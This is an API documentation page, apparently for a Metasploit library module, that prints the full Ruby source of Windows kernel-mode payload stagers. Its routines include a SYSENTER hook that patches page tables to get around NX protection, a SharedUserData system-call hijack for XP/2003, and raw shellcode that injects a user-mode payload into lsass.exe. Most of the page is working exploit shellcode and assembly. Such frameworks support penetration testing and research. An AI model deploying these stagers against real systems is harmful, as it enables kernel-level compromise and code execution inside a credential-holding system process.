Module: Rex::Payloads::Win32::Kernel::Stager

Defined in:
lib/rex/payloads/win32/kernel/stager.rb

Overview

Stagers are responsible for reading in another payload and executing it. The reading in of the payload may actually be as simple as copying it to another location. The executing of it may be done either directly or indirectly.

Class Method Summary collapse

Class Method Details

._createthreadObject (protected)

Stub to run a prepended ring3 payload in a new thread.

Full assembly source at:

external/source/shellcode/windows/x86/src/single/createthread.asm

132
133
134
135
136
137
138
139
140
141
142
143
144
# File 'lib/rex/payloads/win32/kernel/stager.rb', line 132

def self._createthread
  r3 = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
    "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
    "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
    "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
    "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
    "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
    "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
    "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x31\xC0\x50\x50\x50\x8D\x9D" +
    "\x99\x00\x00\x00\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5\xC3\x58"
  return r3
end

._run_only_in_win32proc_stub(append = '', opts = {}) ⇒ Object (protected)

This stub is used by stagers to check to see if the code is running in the context of a user-mode system process. By default, this process is lsass.exe. If it isn't, it runs the code specified by append. Otherwise, it jumps past that code and into what should be the expected r3 payload to execute. This stub also makes sure that the payload does not run more than once.


155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# File 'lib/rex/payloads/win32/kernel/stager.rb', line 155

def self._run_only_in_win32proc_stub(append = '', opts = {})
  opts['RunInWin32Process'] = "lsass.exe" if opts['RunInWin32Process'].nil?

  process  = opts['RunInWin32Process'].downcase
  checksum =
    process[0]         +
    (process[2] << 8)  +
    (process[1] << 16) +
    (process[3] << 24)

  "\x60"                                 + # pusha
  "\x6A\x30"                             + # push byte +0x30
  "\x58"                                 + # pop eax
  "\x99"                                 + # cdq
  "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
  "\x39\x53\x0C"                         + # cmp [ebx+0xc],edx
  "\x74\x26"                             + # jz 0x5f
  "\x8B\x5B\x10"                         + # mov ebx,[ebx+0x10]
  "\x8B\x5B\x3C"                         + # mov ebx,[ebx+0x3c]
  "\x83\xC3\x28"                         + # add ebx,byte +0x28
  "\x8B\x0B"                             + # mov ecx,[ebx]
  "\x03\x4B\x03"                         + # add ecx,[ebx+0x3]
  "\x81\xF9" + [checksum].pack('V')      + # cmp ecx,prochash
  "\x75\x10"                             + # jnz 0x5f
  "\x64\x8B\x18"                         + # mov ebx,[fs:eax]
  "\x43"                                 + # inc ebx
  "\x43"                                 + # inc ebx
  "\x43"                                 + # inc ebx
  "\x80\x3B\x01"                         + # cmp byte [ebx],0x1
  "\x74\x05"                             + # jz 0x5f
  "\xC6\x03\x01"                         + # mov byte [ebx],0x1
  "\xEB" + [append.length + 1].pack('C') + # jmp stager
  "\x61" + append						        # restore regs
end

.stager_sysenter_hook(opts = {}) ⇒ Object

Works on Vista, Server 2008 and 7.

Full assembly source at: /msf3/external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm

This payload works as follows:

  • Our sysenter handler and ring3 stagers are copied over to safe location.

  • The SYSENTER_EIP_MSR is patched to point to our sysenter handler.

  • The ring0 thread we are in is placed in a halted state.

  • Upon any ring3 proces issuing a sysenter command our ring0 sysenter handler gets control.

  • The ring3 return address is modified to force our ring3 stub to be called if certain conditions met.

  • If NX is enabled we patch the respective page table entry to disable it for the ring3 code.

  • Control is passed to real sysenter handler, upon the real sysenter handler finishing, sysexit will return to our ring3 stager.

  • If the ring3 stager is executing in the desired process our sysenter handler is removed and the real ring3 payload called.


31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# File 'lib/rex/payloads/win32/kernel/stager.rb', line 31

def self.stager_sysenter_hook( opts = {} )

  # The page table entry for StagerAddressUser, used to bypass NX in ring3 on PAE enabled systems (should be static).
  pagetable = opts['StagerAddressPageTable'] || 0xC03FFF00

  # The address in kernel memory where we place our ring0 and ring3 stager (no ASLR).
  kstager   = opts['StagerAddressKernel'] || 0xFFDF0400

  # The address in shared memory (addressable from ring3) where we can find our ring3 stager (no ASLR).
  ustager   = opts['StagerAddressUser'] || 0x7FFE0400

  # Target SYSTEM process to inject ring3 payload into.
  process   = (opts['RunInWin32Process'] || 'lsass.exe').unpack('C*')

  # A simple hash of the process name based on the first 4 wide chars.
  # Assumes process is located at '*:\windows\system32\'.
  checksum  = process[0] + ( process[2] << 8 )  + ( process[1] << 16 ) + ( process[3] << 24 )

  # The ring0 -> ring3 payload blob.
  # Full assembly source at:
  #   external/source/shellcode/windows/x86/src/kernel/stager_sysenter_hook.asm
  r0 = "\xFC\xFA\xEB\x1E\x5E\x68\x76\x01\x00\x00\x59\x0F\x32\x89\x46\x5D" +
    "\x8B\x7E\x61\x89\xF8\x0F\x30\xB9\x41\x41\x41\x41\xF3\xA4\xFB\xF4" +
    "\xEB\xFD\xE8\xDD\xFF\xFF\xFF\x6A\x00\x9C\x60\xE8\x00\x00\x00\x00" +
    "\x58\x8B\x58\x54\x89\x5C\x24\x24\x81\xF9\xDE\xC0\xAD\xDE\x75\x10" +
    "\x68\x76\x01\x00\x00\x59\x89\xD8\x31\xD2\x0F\x30\x31\xC0\xEB\x31" +
    "\x8B\x32\x0F\xB6\x1E\x66\x81\xFB\xC3\x00\x75\x25\x8B\x58\x5C\x8D" +
    "\x5B\x69\x89\x1A\xB8\x01\x00\x00\x80\x0F\xA2\x81\xE2\x00\x00\x10" +
    "\x00\x74\x0E\xBA\x45\x45\x45\x45\x83\xC2\x04\x81\x22\xFF\xFF\xFF" +
    "\x7F\x61\x9D\xC3\xFF\xFF\xFF\xFF\x42\x42\x42\x42\x43\x43\x43\x43" +
    "\x60\x6A\x30\x58\x99\x64\x8B\x18\x39\x53\x0C\x74\x2B\x8B\x43\x10" +
    "\x8B\x40\x3C\x83\xC0\x28\x8B\x08\x03\x48\x03\x81\xF9\x44\x44\x44" +
    "\x44\x75\x15\xE8\x07\x00\x00\x00\xE8\x0D\x00\x00\x00\xEB\x09\xB9" +
    "\xDE\xC0\xAD\xDE\x89\xE2\x0F\x34\x61\xC3"

  # The ring3 payload.
  r3  = ''
  r3 += _createthread() if opts['CreateThread'] == true
  r3 += opts['UserModeStub'] || ''

  # Patch in the required values.
  r0 = r0.gsub( [ 0x41414141 ].pack("V"), [ ( r0.length + r3.length - 0x1C ) ].pack("V") )
  r0 = r0.gsub( [ 0x42424242 ].pack("V"), [ kstager ].pack("V") )
  r0 = r0.gsub( [ 0x43434343 ].pack("V"), [ ustager ].pack("V") )
  r0 = r0.gsub( [ 0x44444444 ].pack("V"), [ checksum ].pack("V") )
  r0 = r0.gsub( [ 0x45454545 ].pack("V"), [ pagetable ].pack("V") )

  # Return the ring0 -> ring3 payload blob with the real ring3 payload appended.
  return r0 + r3
end

.sud_syscall_hook(opts = {}) ⇒ Object

XP SP2/2K3 SP1 ONLY

Returns a kernel-mode stager that transitions from r0 to r3 by placing code in an unused portion of SharedUserData and then pointing the SystemCall attribute to that unused portion. This has the effect of causing the custom code to be called every time a user-mode process tries to make a system call. The returned payload also checks to make sure that it's running in the context of lsass before actually running the embedded payload.


93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
# File 'lib/rex/payloads/win32/kernel/stager.rb', line 93

def self.sud_syscall_hook(opts = {})
  r0_recovery = opts['RecoveryStub'] || Recovery.default
  r3_payload  = opts['UserModeStub'] || ''
  r3_prefix   = _run_only_in_win32proc_stub("\xff\x25\x08\x03\xfe\x7f", opts)
  r3_size     = ((r3_prefix.length + r3_payload.length + 3) & ~0x3) / 4

  r0_stager =
    "\xEB" + [0x22 + r0_recovery.length].pack('C') + # jmp short 0x27
    "\xBB\x01\x03\xDF\xFF"                         + # mov ebx,0xffdf0301
    "\x4B"                                         + # dec ebx
    "\xFC"                                         + # cld
    "\x8D\x7B\x7C"                                 + # lea edi,[ebx+0x7c]
    "\x5E"                                         + # pop esi
    "\x6A" + [r3_size].pack('C')                   + # push byte num_dwords
    "\x59"                                         + # pop ecx
    "\xF3\xA5"                                     + # rep movsd
    "\xBF\x7C\x03\xFE\x7F"                         + # mov edi,0x7ffe037c
    "\x39\x3B"                                     + # cmp [ebx],edi
    "\x74\x09"                                     + # jz
    "\x8B\x03"                                     + # mov eax,[ebx]
    "\x8D\x4B\x08"                                 + # lea ecx,[ebx+0x8]
    "\x89\x01"                                     + # mov [ecx],eax
    "\x89\x3B"                                     + # mov [ebx],edi
    r0_recovery +
    "\xe8" + [0xffffffd9 - r0_recovery.length].pack('V') + # call 0x2
    r3_prefix +
    r3_payload

  return r0_stager
end